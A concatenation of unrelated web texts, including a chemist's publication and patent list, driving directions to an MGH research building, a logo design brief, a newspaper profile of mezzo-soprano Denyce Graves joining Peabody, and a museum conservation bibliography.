This work has been reported by many news agencies, including American Chemical Society news center, Modern Drug Discovery and Palm Beach Post, and has been reviewed in several renowned scientific journals.20. Xu Wu, Sheng Ding, Qiang Ding, Nathanael S. Gray and Peter G. Schultz* "A Small Molecule with Osteogenesis‐Inducing Activity in Multipotent Mesenchymal Progenitor Cells" Journal of the American Chemical Society, 2002, 124(49), 14520‐14521. This work has been reviewed in several renowned scientific journals.21. Sheng Ding, Nathanael S. Gray*, Qiang Ding, Xu Wu and Peter G. Schultz* "Resin‐capture and release strategy toward combinatorial libraries of 2,6,9‐substituted purines." Journal of Combinatorial Chemistry, 2002, 4(2), 183‐186.22. Sheng Ding, Nathanael S. Gray*, Xu Wu, Qiang Ding and Peter G. Schultz* "A combinatorial scaffold approach toward kinase‐directed heterocycle libraries." Journal of the American Chemical Society, 2002, 124(8), 1594‐1596.23. Bari A. Pender, Xu Wu, Paul H. Axelson, and Barry S. Cooperman* "Toward a Rational Design of Peptide Inhibitors of Ribonucleotide Reductase: Structure‐Function and Modeling Studies." Journal of Medicinal Chemistry, 2001, 44(1), 36‐46.24.Xu Wu and Barry S. Cooperman* "Synthesis and biological activity of bivalent inhibitor of mouse ribonucleotide reductase." Bioorganic and Medicinal Chemistry Letters, 2000, 10, 2387‐2389Patents 25. Ding, Qiang; Okram, Barun; Uno, Tetsuo; Liu, Yahua; Jin, Yunho; Jin, Qihui; Wu, Xu; Che, Jianwei; Liu, Hong; He, Xiaohui; Zhu, Xuefeng; Yang, Kunyong.Compounds and compositions as kinase inhibitors. Provisional Patent Filed. 26. Zhu, Shoutian; Wurdak, Heiko; Wang, Yan; Tao, Haiyan; Schultz, Peter G; Wu, X; Tyro3 as a therapeutic target for melanoma. Provisional Patent Filed.27. Okram, Barun; Uno, Tetsuo; Ding, Qiang; Liu, Yahua; Jin, Yunho; Jin, Qihui; Wu, Xu; Che, Jianwei; Yan, S. Frank.Compounds and compositions as kinase inhibitors.PCT Int. Appl. (2009), 324pp. CODEN: PIXXD2 WO 2009097287 A1 20090806 AN 2009:944707CAPLUS28. Dierks, Christine; Warmuth, Markus; Wu, Xu.Biphenylcarboxamide derivatives as hedgehog pathway modulators.PCT Int. Appl. (2008),76pp. CODEN: PIXXD2 WO 2008154259 A1 20081218 CAN 150:48036 AN 2008:1502750CAPLU29. Gao, Wenqi; Jiang, Jiqing; Wan, Yongqin; Cheng, Dai; Han, Dong; Wu, Xu; Pan, Shifeng. Substituted biphenyl amide compounds and compositions as hedgehog pathway modulators.PCT Int. Appl. (2007),60 pp. CODEN: PIXXD2 WO 2007131201 A2 20071115 CAN 147:534706 AN 2007:1303209CAPLUS30. Wu, Xu; Ding, Sheng; Schultz, Peter G.Compounds and compositions as hedgehog pathway modulators.PCT Int. Appl. (2006),28 pp. CODEN: PIXXD2 WO 2006050351 A2 20060511 CAN 144:445331 AN 2006:440130CAPLUS31. Wu, Xu; Ding, Sheng; Schultz, Peter G.2,4Diaminopyrimidines as inducers of cardiomyogenesis, their preparation and use in the treatment of cardiomyopathy.PCT Int. Appl. (2005),56 pp. CODEN: PIXXD2 WO 2005068437 A1 20050728 CAN 143:172888 AN 2005:673272CAPLUS32. Wu, Xu; Ding, Sheng; Gray, Nathanael S.Purine derivatives for inducing osteogenesis.U.S. Pat. Appl. Publ. (2004),33 pp. CODEN: USXXCO US 2004157864 A1 20040812 CAN 141:185125 AN 2004:654776CAPLUS
Cutaneous Biology Research Center
Directions to Charlestown Navy Yard MGH East - Building 149
From Storrow Drive
From the end of Storrow Drive (Leverett Circle) keep to the far right and take a sharp right (do not go up the ramp), and continue beneath the underpass one quarter mile to the light.
Turn left onto Causeway street under the elevated subway tracks. The Fleet Center will be on your left, the North Station T station on your right.
One block past the Garden, turn left on to N. Washington Street, passing over the Charlestown Bridge.
At the first light after the bridge, take a right. Go through three traffic control lights.
At the fourth light, turn right into Navy Yard (Gate 5 - 13th Street). To park, take first left onto Fifth Avenue. Building 149 is one block on the right.
The parking garage entrance is on the right about half way down the block.
Take the Mass Pike (I-90) to I-93 North (Exit 24B)
Take the Storrow Drive Exit (Exit 26)Stay in the left lane once getting on the exit ramp. Follow signs for North Station/Leverett Circle Go through 1 light and take left at the 2nd light (almost immediately after the first)
Get immediately into the right lane
Take a right at the light onto Route 28N
The Museum of Science will be on your left
Take a right at the 3rd light (there is a sign at the corner for Charlestown)
Go over the bridge and get in the right lane (City Square)
Take your 1st right and get into the left lane
Turn left at the 2nd light (immediately before Charlestown Bridge, at City Square) onto Chelsea Street (If you go over bridge, you've gone too far).
Go through three traffic control lights
At the 4th light, turn right into the Navy Yard (Gate 5 - 13th Street).
To park, take first left onto Fifth Avenue. Parking Garage entrance is on the right above half way down the block. Building 149 is one block on the right once you turn into Gate 5. Building 149 is also connected to the parking garage.
Take Exit 28 (Charlestown/Sullivan Square).
At the end of the exit where the read forks stay to the right and proceed past the bus terminal to the rotary at Sullivan Square.
Go halfway around the rotary towards Charlestown (the Schrafts building with a large American flag on top of it will be on your left).
Cross the railroad tracks and take a left at the fire station onto Medford Street.
At the end of Medford street turn left onto Chelsea Street and make an immediate right into the Navy Yard.
The MGH East Research Building (Bldg. 149) will be on the right and is connected to the parking garage by overhead walkways.
Direct the driver to the MGH East, Building 149 in the Charlestown Navy Yard.
The CBRC is on the 3rd Floor of Building 149.By Public Transportation & the MGH/Partners Shuttle
Take the T (Green Line) to North Station
Take the MGH/Partners Shuttle bus to the Charlestown Navy Yard MGH East Research Building (Building 149).
The CBRC is on the 3rd Floor.
The MGH/Partners Shuttle bus leaves MGH on Blossom Street and stops at North Station on Canal Street by the Green Line T stop. The shuttle goes every 15 minutes during working hours. (Less often on the weekends and holidays).
The CBRC
To get to the CBRC, take the first set of elevators to the left of the main entrance by the Security Desk to the third floor. You may need to check in with security on the main level of Building 149.
From the elevator, exit to the East to the CBRC offices, or in the opposite direction for the laboratories.
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We're Here to Help You Prepare
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The Multi-Drink offers 2 different functional ways to drink; through a twist-off closure or pop-out straw. Made from Tritan copolyester so it's super tough and nice looking too. Fits into cup holder. Has a loop-top cap that won't get lost. Has a straw that rotates out so you can drink on the go, great for heads up drinking in the car. The straw goes back in its own "garage" to protect it from our sticky world. Straw locks into place to make a leak proof container.
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text: Dear Valued Customer, Thank you for emailing Party Domain. We aim to deal with all emails within 24/48 hours from receipt, however in busy periods this can take longer. If your enquiry is in regard to an order already placed and you wish to make an urgent change or amendment to this, we would recommend you contact our dedicated customer service team on Tel : 01274 777853 Monday - Thursday 09:30am until 3.30pm. Should you wish to place an order with us and would prefer not to do this online, you can contact our dedicated Order-line team on Tel 0870 041 83 28 Monday ? Friday 9am until 5pm. Thank You Party Domain


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pveman needed a new logo design and created a contest on 99designs.
A winner was selected from 171 designs submitted by 56 freelance designers.
We are launching a new site called DadDoes.Com . The site is sort of blog about all the things that Dad's Do – Dad Does Sports, Dad Does Travel, Dad Does Health, etc. The site will cover a wide range of topics – all in a fun and interactive way. The key element that ties it all together is that Dad's see life through a slightly different lens. As Dad's, we might use the same products and take the same trips as people without kids, but we have different concerns.
We would love to work with you on other parts to this project. Once we have the logo, we want to create badges that use the logo, banners, buttons, etc. So ideally, the winning designer has interest in doing more work on this project.
Target audience is clearly Dad's, probably 21 - 65. Still, we are appealing to anyone who is touched by kids. So, we do expect to have Mom's as part of the audience.
We are looking for a logo for "DadDoes". Our idea is to turn the D in Dad into a profile of a face. Something fun – not overdone. At points we may just use the "D" (with the face in it) when we want to brand something but don't want to oversell with our whole logo. Ideally, we would love to see a couple of different looks for the D. Maybe one with a smile, one sad and one excited. We will do product reviews and maybe use the "D" like stars.
For some inspiration –
Like how they have created an icon head that can be used in many different ways.
Just to be clear, the logo will be the full DadDoes – but we would also like the "D" in Dad to work on its own. In terms of colors – pretty wide open to your ideas. Get creative and we will give feedback. We are looking for the logo to look good online of course, but also work on hats, shirts, etc. Something clear, clean, professional and not over designed.
Key Points:
1. Clean, sharp design
2. D in Dad be a profile face that could be used alone as an icon
3. Work well both online and off
4. Idea of site is that Dads Do A Lot of things. So somehow a winning design would represent some action or motion – but in a clean, subtle way.
Have Fun! We will provide lots of feedback. Thanks so much for taking the time!
New Comments Added Below - Please Read
Find out how a design contest works or learn more about our logo design services.


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In terms of talent, glamour and wide appeal, few opera singers today rank as high as mezzo-soprano Denyce Graves. No wonder there's quite a buzz at the Peabody Conservatory, where Graves will join the voice faculty in the fall.
People are still talking about a master class that Graves gave at the conservatory last September.
"She didn't know she was auditioning," said Phyllis Bryn-Julson, the distinguished soprano who chairs the voice department. "It was a phenomenal day for the students. They were so filled with elation. There was something from the heart that Denyce gave them. We were all smitten."
Graves found the experience just as positive.
"I had a wonderful time and heard wonderful students," she said. "I am asked all the time to teach. Peabody has been chasing me down that street for years. Young singers want to sing through their arias for me, ask for advice. But there has been no room in the calendar for that sort of thing."
Fortuitously, Graves has been cutting back a bit on her engagements in recent years, especially opera productions, which typically take up several weeks.
"I want to be available for my daughter as much as possible," said Graves, who is 48. "She's 7 now. She needs more and more time from me. I told my agency I would like to concentrate on recitals and concerts and just do one or two operas a year. I am fortunate to be able to be discriminating and not have to accept every offer."
An offer from Peabody, after the success of that master class, turned out to be tempting. In addition to having a few more free days on her schedule, there was the attraction of Baltimore itself.
The Washington, D.C.-born Graves lives in Bethesda, which can be inconvenient for her husband, Dr. Robert Montgomery, the richly mustachioed professor of surgery at Johns Hopkins, where he also heads the Division of Transplantation and is director of the Johns Hopkins Comprehensive Transplant Center.
"He has been complaining about the commute," Graves said, "and we've been thinking about moving. It is inevitable we will be here. My daughter has already been accepted at Bryn Mawr."
The mezzo's Peabody job will not be full-time gig, and she will only take on a handful of students initially. But her presence will likely be felt in a big way.
Having one of the world's most celebrated interpreters of the sensual protagonists in Bizet's "Carmen" and Saint-Saens' "Samson et Dalila" on campus, however briefly each semester, cannot help but give Peabody a lift. This is one of the highest-profile additions to the conservatory's faculty in years.
Bryn-Julson is among the many admirers of Graves' work onstage, especially as Carmen.
"Anybody who can pick up her skirt with her teeth while her hands are tied behind her back is on my front burner," Bryn-Julson said with a laugh, referring to a scene that caused a sensation when the strikingly agile Graves made her 1995 debut at the Metropolitan Opera.
Observing the mezzo in action with students during the master class added to Bryn-Julson's admiration.
"She got the technique she wanted from them without talking about the larynx and all of that," Bryn-Julson said. "She was after the character of it, the emotional part."
That's how it felt to one of the participants in the master class, too.
"She was so driven by a passion for the music," said Kristina Lewis, a mezzo working on her graduate performance diploma at the conservatory. "I felt she was really trying to push my singing to the next level. I haven't encountered that level of energy in a master class before."
After that September event, discussions quickly began with Graves about a follow-up.
"We thought we could only get her to agree to more master classes," said Mellasenah Morris, dean of the conservatory. "Then we found out she was interested in having a small studio. Lo and behold, she was with us during audition week [in February], listening to [prospective] students. When they walked in and saw her, that was an oh-my-gosh moment."
It can be nerve-racking enough for a young singer to audition before the teachers already on the Peabody faculty, which, in addition to Bryn-Julson, includes such highly respected artists as baritones William Sharp and John Shirley-Quirk and bass-baritone Francois Loup. Graves adds quite a starry level to the lineup, but not a forbidding one.
"I've been on the other side myself," she said. "I see the students coming into the room with their hopes, and I want to go up and hug them. That's my instinct. I am an extremely sensitive person. And I know what it's like to sing before a panel like this, where we're picking apart everything. There is nothing more intimidating."
Graves, who first did some vocal coaching when she was still a student herself (she studied at the Oberlin Conservatory of Music and the New England Conservatory), was impressed by the level of singers trying out for admission to Peabody next fall.
"One looked like a Goth, a heavy duty rock-'n'-roller," she said. "You would cross the street if you saw him coming your way. But then he opened his voice and sang German lieder so beautifully. It reminded me how music binds us all over the world, how it chooses its disciples, how it will call you, whether it's rock or not. Something inside your solar plexus says 'This is what you are called to do.'"
Graves heard the calling at a young age.
"I grew up in a very strict religious home, with nothing outside of gospel in the way of music," Graves said, "not even the Jackson Five. I was a terribly shy and awkward kid. But on the first day of kindergarten, I couldn't wait until they took me to music class."
The focus on singing came later, in junior high, when a teacher heard her in the chorus and recommended that Graves transfer to the Duke Ellington School of the Arts.
"When I was given the 'Twenty-four Italian Songs and Arias' book, which every singer starts with all over the world, that was as foreign to me as anything," Graves said. "But I fell in love with it."
With her rich tone and dynamic personality, the mezzo quickly built a career after her college years, first honing her craft at the Wolf Trap Opera Company.
Her list of credits includes such venues as London's Royal Opera House, the Vienna Staatsoper and Deutsche Oper Berlin, in addition to the Met and major companies throughout the U.S. Her repertoire extends from standard works to the title role in the Richard Danielpour/Toni Morrison opera "Margaret Garner," which Graves premiered.
Next year, she is scheduled to perform in two more opera premieres, one by Terence Blanchard about boxer Emile Griffith, the other based on the John Patrick Shanley play "Doubt," with music by Douglas J. Cuomo.
The mezzo has long been a popular concert performer as well. Next month, she will be the guest artist for the Annapolis Symphony Orchestra's 50th anniversary gala at the Clarice Smith Center in College Park.
Graves has also lent her distinctive voice to some major national events. In the aftermath of 9/11, she was featured during the televised prayer service at Washington's National Cathedral (she served as cultural ambassador during the Bush administration). In 2009, she sang at the Lincoln Memorial, marking the 70th anniversary of the legendary Marian Anderson concert there.
The perspective from this busy and successful career will be part of the mezzo's teaching at Peabody.
"She wants to help students with real life issues of making it in the business," Morris said. "In the academic world, we sometimes miss those things."
That was the mezzo's experience.
"When I got out of school, what I needed to know I hadn't learned in conservatory," Graves said. "There are so many things I would like to share with the students. The politics. The conductors. What happens if you get sick. How to negotiate contracts. Singing next to a four-foot tenor. The impossible stagings where they want you to sing your aria sliding down a banister. The awful colleagues, of which there are a plethora."
And don't get Graves started on the subject of managers and agents.
"They're getting younger all the time," Graves said. "They don't know diddly-squat. The offers come in, and the agent doesn't know your body of work or what you should be singing. In the beginning, you're just so excited that someone has offered you a contract. But the business will just eat you up and spit you out."
Graves has clearly figured out how to weather that business.
"It's all part of learning to find your own survival system," she said.
Starting in the fall, Graves will begin imparting to Peabody students the technical, artistic, practical and philosophical lessons she has learned.
"I consider this process a privileged one," she said. "It is a tremendous blessing to listen to wonderful music and discover beautiful talent."
Born: Washington, D.C., 1964
Education: Duke Ellington School of the Arts, Washington; Oberlin Conservatory of Music, Oberlin, Ohio; New England Conservatory, Boston.
Opera highlights: Metropolitan Opera debut in "Carmen," 1995; La Scala debut in "La Vestale," 1995; performing Charlotte in "Werther" opposite Andrea Bocelli at Michigan Opera Theater, 1999; creating the title role in Richard Danielpour's "Margaret Garner" at Michigan Opera Theater, 2005
Momentous occasions in D.C.: Soloist for National Prayer Service at Washington National Cathedral, Sept. 14, 2001; the funeral of President Gerald Ford at the cathedral, 2007; the 70th anniversary commemoration of Marian Anderson's concert at Lincoln Memorial, 2009
Personal: Met Dr. Robert Montgomery, Johns Hopkins kidney transplant specialist, on a flight from Dulles to Paris in 2006, married him in 2009; a daughter, Ella, from a previous relationship.


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By ,
Published January 13, 2015
The Cincinnati Bengals have signed safety Shawn Williams, their third-round pick in April's draft.
Williams appeared in 54 games at Georgia and was considered one of the top run-stoppers in college. He was the club's second-leading tackler last season with 98 stops and led the Bulldogs with 72 tackles in 2011.
In addition, the team captain contributed on special teams with 23 career tackles.


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Bibliography for the Care of Museum, Library, & Archival Collections
General & Collection's Care
Applebaum, Barbara.
Guide to Environmental Protection of Collections. Sound View Press/170 Boston Post Road/Madison, CT 06443 (tel. 203-245-2246), 1991.
Bachmann, Konstanze, editor.
Conservation Concerns: A Guide for Collectors and Curators. Washington, D.C.: Smithsonian Institution Press, 1992. (ISBN: 1-56098-174-1)
Canadian Conservation Institute
CCI Notes/Notes d'ICC Ottawa 1983-. Canadian Conservation Institute 1030 Innes Road/Ottawa, ONT, Canada K1A OC8. (tel. 613-998-3721) (Series of "How to" pamphlets which are often free.)
Florian, Mary-Lou.
Heritage Eaters: Insects and Fungi in Heritage Collections. London: James & James, 1997.
MacLeish, A. Bruce.
The Care of Antiques and Historical Collections, 2nd edition. Nashville: American Association for State and Local History, 1985.
National Committee to Save America's Cultural Collections.
Caring for your Collections. New York: Abrams, 1992.
National Park Service.
Museum Handbook. United States Department of the Interior National Park Service/PO. Box 37127/Washington, DC, 20013-7127.
National Park Service.
Conserve O Grams. United States Department of the Interior National Park Service/PO. Box 37127/Washington, DC, 20013-7127.
Sandwith and Stanton, compilers.
The National Trust Manual of Housekeeping. New York: Viking Penguin Inc, 1985.
Shelley, Marjorie.
The Care and Handling of Art Objects. New York: Metropolitan Museum of Art, 1987.
Torres, Amparo R. de. and National Institute for the Conservation of Cultural Property (U.S.).
Collections care: a selected bibliography: based on the Collections Care Information Service, a project of the National Institute for the Conservation of Cultural Property. 2nd ed. Washington, DC: National Institute for the Conservation of Cultural Property. 1991 (3299 K Street, NW, Suite 403, Washington 20007)
The Conservation of Cultural Properties. Paris: Unesco, 1968.
Archaeological Artifacts
Sease, Catherine.
A Conservation Manual for the Field Archaeologist-Archaeological Research Tools, vol. 4. Los Angeles, CA: University of California, 1988.
Electronic Media/Digital Imaging
Conway, Paul.
Preservation in the Digital World. Commission on Preservation and Access, Washington, D.C., 1996.
Hazen, Dan, Jeffrey Horrell and Jan Merrill-Oldham.
"Selecting Research Collections for Digitization." Council on Library and Information Resources. Washington, D.C., August 1998.
Ostrow, Stephen E.
"Digitizing Historical Pictorial Collections for the Internet." Council on Library and Information Resources. Washington, D.C., February 1998.
Smith, Abbey.
"Why Digitize?" Council on Library and Information Resources. Washington, D.C., 1999.
Rothenberg, Jeff.
"Ensuring the Longevity of Digital Documents", Scientific American,Vol. 252, No. 1, January 1995, pp. 42-47.
Rothenburg, Jeff.
"Avoiding Technological Quiksand: Finding a Viable Technical Foundation for Digital Preservation." A Report to the CLIR, Council on Library and Information Resources. Washington, D.C., January 1999.
Kenney, Anne and Oya Rieger.
Moving Theory Into Practice: Digital Imaging for Libraries and Archives. RLG, Palo Alto, Ca., 2000.
McGiffin, Robert F., Jr.
Furniture Care and Conservation. Nashville: American Association for State and Local History, 1983.
Leather: Skin and Hide
Appleyard, H.M.
Guide to the Identification of Animal Fibers. 1960. Leeds: WIRA. 1978.
Canadian Conservation Institute.
"Care of Mounted Specimens and Pelts." CCI Notes. 1983. Ottawa, Canada: Canadian Conservation Institute. 1988; 8(3).
Canadian Conservation Institute.
"Care of Alum, Vegetable, and Mineral Tanned Leather." CCI Notes. 1983. Ottawa, Canada: Canadian Conservation Institute. 1992; 8(2).
Canadian Conservation Institute.
"Care of Rawhide and Semi-Tanned Leather." CCI Notes. 1983. Ottawa, Canada: Canadian Conservation Institute. 1992; 8(4).
Calnan, D., ed.
Conservation of Leather in Transport Collections. London: United Kingdom Intstitute for Conservation. 1991.
Francis-Lewis, C.
The Art and Craft of Leatherwork. London: Seeley, Service & Co. Ltd. 1928.
Fredericks, Maria.
"Progress in Leather Conservation." WAAC Newsletter. 19.2 (1997): 29-32. Available online through CoOL.
Haines, Betty M.
"Bookbinding Leather." The New Bookbinder, Journal of Designer Bookbinders 7. (1987): 63-82.
Haines, Betty M. and Christopher Calnan
"The Development of Stable Binding Leather." Bookbinder, Journal of the Society of Bookbinders 2. (1988): 35-47.
Jackman, J., ed.
Leather Conservation: A Current Survey. Northhampton: The Leather Conservation Centre. 1982.
Lamb, M.C.
Leather Finishing: Including Dyeing, Staining and Finishing. London. 1907.
Lamb, Malcolm J.
"The Hausa Tanners of Northern Nigeria and the Production of Sokoto Tanned Goatskins." The New Bookbinder, Journal of Designer Bookbinders 1 (1981): 58-62.
Rene Larsen with Maria Vest and Ulla Bogvad Kejser, eds European Commission.
Step Leather Project. Copenhagen, Denmark: The Royal Danish Academy of Fine Arts, School of Conservation. 1994.
Leather Conservation Centre.
Leather: Its Composition and Changes with Time. Nene College, Northampton: The Leather Conservation Centre. 1986.
Leather Conservation Centre.
The Fiber Stucture of Leather. Northampton: The Leather Conservation Centre. 1981.
McCrady, E., Raphael, T.
"Leather Dressing: To Dress or Not to Dress." Leather Conservation News. 2 (December 1983): 2-3.
McLaughlin, George D. and Theis, Edwin R.
"The Chemistry of Leather Manufacture." American Chemical Society Monograph Series. New York: Reinhold Pub. Co. 1945.
O'Flaherty, F.; Roddy, W. T. and Lollar, R.M. eds.
"The Chemistry and Technology of Leather" Vol I-IV. American Chemical Society Monograh Series. New York: Reinhold Pub. Co.1958.
Reed, R.
Ancient Skins, Parchments and Leathers. New York: Seminar Press. 1972.
Reed, R.
The Nature and Making of Parchment. Leeds, England: The Elmete Press. 1975.
Sharphouse, J.H.
The Leather Technicians Handbook. 1983. Northampton, England: Leather Producers Association. 1989.
St John, Kristen.
"An Annotated Bibliography on Leather Dressing". The New Library Scene. Volume 16 No. 2: 14-29.
Tancous, J. J.
Skin, Hide and Leather Defects. Cinncinnati, Ohio / Washington, D.C.: Leather Industries of America Laboratory, 2nd edition. 1986.
Thelma, R.N.
Leather as Art and Craft. London: Allen and Unwin. 1973.
Thorstensen, T.C.
Practical Leather Technology. Malabaar, Florida: Kreiger Pub. Co., 4th edition. 1993.
Tuck, D.H., ed.
Oils and Lubricants Used on Leather. Northhampton, England: The Leather Conservation Centre. 1983.
Walsall Leather Museum.
Leather Bibliography. Wisemore, Walsall, England: Walsall Leather Museum. 1993.
Waterer, J.W.
Leather in Life, Art and Industry. London: Faber and Faber Limited. 1946.
Waterer, J.W.
"Leather." A History of Technology, Vol 2. Oxford: Clarendon Press. 1965.
Waterer, J.W.
Leather Craftsmanship. New York: Praeger. 1968.
Wilson, J. A.
Modern Practice in Leather Manufacture. New York: Reinhold Pub. Co. 1941.
Library and Archive Materials
Greenfield, Jane.
Books: Their Care and Repair. New York: H.W. Wilson, 1983.
The Care of Fine Books. New York, NY: N. Lyons Books, 1988.
Kyle, Hedi.
Library Materials Preservation Manual: Practical Methods for Preserving Books, Pamphlets, and other Printed Materials. Bronxville, N.Y.: N.T. Smith, 1983.
Morrow and Dyal.
Conservation Treatment Procedures: A Manual of Step-by-Step Procedures for the Maintenance and Repair of Library Materials, 2nd edition. Littleton, Colorado: Libraries Unlimited, 1986.
Morrow and Walker.
The Preservation Challenge: A Guide to Conserving Library Materials. White Plains, New York: Knowledge Industry Publications, 1983.
Ogden, Sherelyn, editor.
Preservation of Library and Archival Materials: A Manual. 3rd ed. rev. and expanded. Andover, Mass.: Northeast Document Conservation Center, 1999.
Natural History
Metsger, Deborah A., and Sheila C. Byers.
Managing the Modern Herbarium: An Interdisciplinary Approach. Vancouver: Elton-Wolf Pub., 1999.
Rose, Carolyn; Catharine A Hawks and Hugh Genoways.
Storage of Natural History Collections: A Preventive Conservation Approach. Society for the Preservation of Natural History Collections, 1992.
Rose, C.L. and de Torres, A.R., editors.
Storage of Natural History Collections: Ideas and Practical Solutions. Society for the Preservation of Natural History Collections, 1992 (reprint 1995) ISBN 0963547607
The Society for the Preservation of Natural History Collections
manuals can be ordered or downloaded.
Guidelines for the Care of Natural History Collections online.
Information on the care of many glass, metal, stone and wooden artifacts can be found in volumes listed in the General Collection's Care portion of this bibliography.
Byrne, Allan.
Conserving Paintings. Australia: Craftsman House, 1995. (ISBN 976 6410 46 1)
Colglazier, David Lee.
"An Inexpensive Method for Constructing Storage Racks for Hanging Artifacts". Journal of the American Institute for Conservation. Fall/ Winter 1997. Volume 36. Number 3. 245-48.
Keck, Caroline.
A Handbook on the Care of Paintings. New York: Watson-Guptill Publications, 1965.
Snyder, Jill.
Caring for your Art. New York: Allworth Press, 1990. (ISBN 0 9607118 1 3)
Fischer, Monique C., and Andrew Robb.
"Guidelines for Care and Identification of Film-Base Photographic Materials". Topics in Photographic Preservation, Vol. 5, pp. 117-122.. Washington, D.C.: Photographic Materials Group (PMG) of the American Institute for Conservation of Historic and Artistic Works (AIC), 1993.
Hendriks, Klaus.
The Preservation and Restoration of Photographic Materials in Archives and Libraries: A RAMP study with guidelines. General Information Program and UNISIST, United Nations Educational, Scientific and Cultural Organization, Paris, 1984.
Museums And Galleries Commission, Crispin Paine, editor.
Standards in the Museum Care of Photographic Collections. London, UK: Museums & Galleries Commission, 1996. (ISBN: 0-948630-42-6)
Reilly, James M.
Care and Identification of 19th Century Photographic Prints. Kodak Publication #G-25. Rochester, New York: Eastman Kodak, 1986.
Image Permanence Institute's Storage Guide for Acetate Film. Rochester, NY: Image Permanence Institute, 1993. (also discusses nitrate film)
Storage Guide for Color Photographic Materials. Albany, NY: University of the State of New York, New York State Education Dept., and Rochester, NY: Image Permanence Institute, 1998.
Ritzenthaler, Munoff and Long.
Archives and Manuscripts: Administration of Photographic Collections. SAA Basic Manual Series. Chicago: Society of American Archivists, 1984.
Robb, Andrew.
"Identification of Film-Base Photographic Materials: Flow Chart". Topics in Photographic Preservation, Vol. 6, pp. 134-135. Washington, D.C.: Photographic Materials Group (PMG) of the American Institute for Conservation of Historic and Artistic Works (AIC), 1995.
Wilhelm, Henry.
The Permanence and Care of Color Photographs: Traditional and Digital Color Prints, Color Negatives, Slides and Motion Pictures. Grinnel, Iowa: Preservation Publishing Company, 1993.
Prints and Drawings
Clapp, Anne F.
Curatorial Care of Works of Art on Paper, 3rd revised edition. New York: Lyons and Burford, 1987.
Ellis, Margaret Holben.
The Care of Prints and Drawings. Nashville, Tenn.: AASLH Press, 1987.
Perkinson, Roy.
Conserving Works of Art on Paper. Washington, DC: American Association of Museums, 1975.
Smith, Merrily A.
Matting and Hinging of Art on Paper. 2nd rev. ed. New York, N.Y: Consultant Press, 1990.
Finch and Putnam.
Caring for Textiles. London: Barrie and Jenkins, Ltd., 1984.
Joseph, Marjory.
Essentials of Textiles. New York: Holt, Rheinhart and Winston, 1984.
Landi, Sheila.
The Textile Conservator's Manual. 2nd ed. Oxford: Butterworth-Heinemann Ltd., 1992.
Mailand, Harold.
Considerations for the Care of Textiles and Costumes. Indiana: Indianapolis Museum of Art, 1980.
The Textile Institute.
Identification of Textile Materials. 7th ed. Manchester: The Textile Institute, 1985.
Barclay, Robert, André Bergeron and Carole Dignard.
Mount Making for Museum Objects. Canadian Conservation Institute and Centre de conservation du Quebec, 1998. (Tel. (613) 998-3721, Fax: (613) 998-4721, email: cci-icc_publications.
Colby, Karen.
"A Suggested Exhibition Policy for Works of Art on Paper" Journal of the International Institute for Conservation: Canadian Group, Vol. 17, 1992.
Thomson, Garry.
The Museum Environment. London: Butterworths, 1978.
Raphael, Toby.
Exhibit Conservation Guidelines: Incorporating Conservation into Exhibit Planning, Design and Production. (CD-Rom), National Park Service, 1999. Available for purchase from the National Park Service online or at 800/821-5206.
Stolow, Nathan.
Conservation and Exhibitions. London: Butterworths, 1987.
National Gallery of Art
Art in Transit. Washington, DC: National Gallery of Art, 1991.
Disaster Preparedness
Buchanan, Sally A.
Disaster Planning: Preparedness and Recovery for Libraries and Archives: A RAMP Study with Guidelines. Paris: UNESCO, 1988. (UNESCO, Maison de l'Unesco, 7 Place du Fontenoy, Paris F75007, France).
Dorge, Valerie and Sharon L. Jones.
Building and Emergency Plan: A Guide for Museums and Other Cultural Institutions. The Getty Conservation Institute, 1999.
Hendriks, Klaus B. and Brian Lesser.
"Disaster Preparedness and Recovery: Photographic Materials." American Archivist. 46(1):52-68. 1983.
Walsh, Betty C.
"Salvage Operations for Water Damaged Collections." WAAC (Western Association for Art Conservation) Newsletter, Vol. 19, No. 2 (May 1997), pp. 12-23 (plus chart: "Salvage of Water-Damaged Archival Collections: Salvage at a Glance." available online [http://palimpsest.stanford.edu/waac/wn/wn19/wn19-2/wn19-207.html]).
Ebeling, Walter.
Urban Entomology. Berkeley, 1978.
Olkowski, William.
Common-Sense Pest Control. Newtown, CT.: The Taunton Press, 1991.
Pinniger, David.
Insect Pests in Museums. London: Archetype Publications, Ltd., 1994.
Story, Keith.
Approaches to Pest Management in Museums. 1985. Conservation Analytical Laboratory/Smithsonian Institution /Suitland, Maryland 20746 (tel. 202-238-3700).
The Abbey Newsletter
Vol 23 nos. 4-8. Mold, The whole picture. Abbey Publications 512.929.3992.
Conservation Center for Art and Historic Artifacts.
Managing a Mold Invasion: Guidelines for Disaster Response. Philadelphia: CCAHA, 264 South 23rd Street/Philadelphia, PA 19103 (tel. 215-545-0613). revised 1996.
Florian, Mary-Lou.
Heritage Eaters: Insects and Fungi in Heritage Collections. London: James & James, 1997.
Lee, Mary Wood.
Prevention and Treatment of Mold in Library Collections, A RAMP Study. 1991. General Information Program and UNISIST, United Nations Educational, Scientific and Cultural Organization, Paris, 1988. (UNESCO, Maison de l'Unesco, 7 Place du Fontenoy, Paris F75007, France).
Macher, Janet, editor.
Bioaerosols: Assessment and Control. ACGIH, 1999.
Strang, Thomas.
Controlling Museum Fungal Problems. Canadian Conservation Institute 1030 Innes Road/Ottawa, ONT, Canada K1A OC8. (tel. 613-998-3721).
"Microbial Control in Archives, Libraries and Museums by Ventilation Systems." Restaurator (19: 85-107) 1998.
Ransom Center Conservation Department Frequently Asked Questions.
National Center for Preservation Technology and Training (NCPTT).
Lists numerous organizations and many have the answers to other types of conservation and preservation related questions on their websites.
The National Park Service
Offers "Conserve O Grams", short instructional leaflets, on a great variety of preservation topics. One of the Conserve O Grams (#1/7) lists many "Useful World Wide Web Resources".
Offers conservation resources, literature, a discussion list, and links to many other conservation related organizations.
Compiled by Ransom Center Staff Conservators Mary Baughman, Barbara Brown, Ken Grant, Pat Ingram, Olivia Primanis, and Stephanie Watkins with additions from Kristen St. John; Jessica S. Johnson; Beatrice Dodge, Conservator in Private Practice, Elgin; Martha Simpson-Grant, Conservator in Private Practice, Austin; and Sarah McElroy, Conservator at the Blanton Museum, Austin.


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Monday, February 11, 2013
Eagleridge Mall Mall Walker Arches
